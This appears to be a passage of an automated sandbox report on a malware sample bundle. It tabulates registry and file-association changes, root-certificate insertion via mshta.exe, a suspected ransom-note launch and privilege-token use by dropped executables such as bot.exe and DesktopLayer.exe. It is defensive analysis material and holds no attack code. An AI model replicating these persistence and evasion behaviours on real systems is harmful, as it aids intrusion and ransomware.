Set value (data) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main C:\Users\Admin\Desktop\5.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Modifies registry class

Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C C:\Windows\SysWOW64\mshta.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 C:\Windows\SysWOW64\mshta.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\NOTEPAD.EXE N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1SrvSrv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1SrvSrv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1SrvSrv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TEMPEX~1SrvSrv.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayer.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayer.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayer.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayer.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\movie.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\movie.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\8.exe N/A
N/A N/A C:\Users\Admin\Desktop\6.exe N/A
N/A N/A C:\Users\Admin\Desktop\6.exe N/A
N/A N/A C:\Documents and Settings\spoolsv.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\4363463463464363463463463.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected] N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\conhost.exe N/A
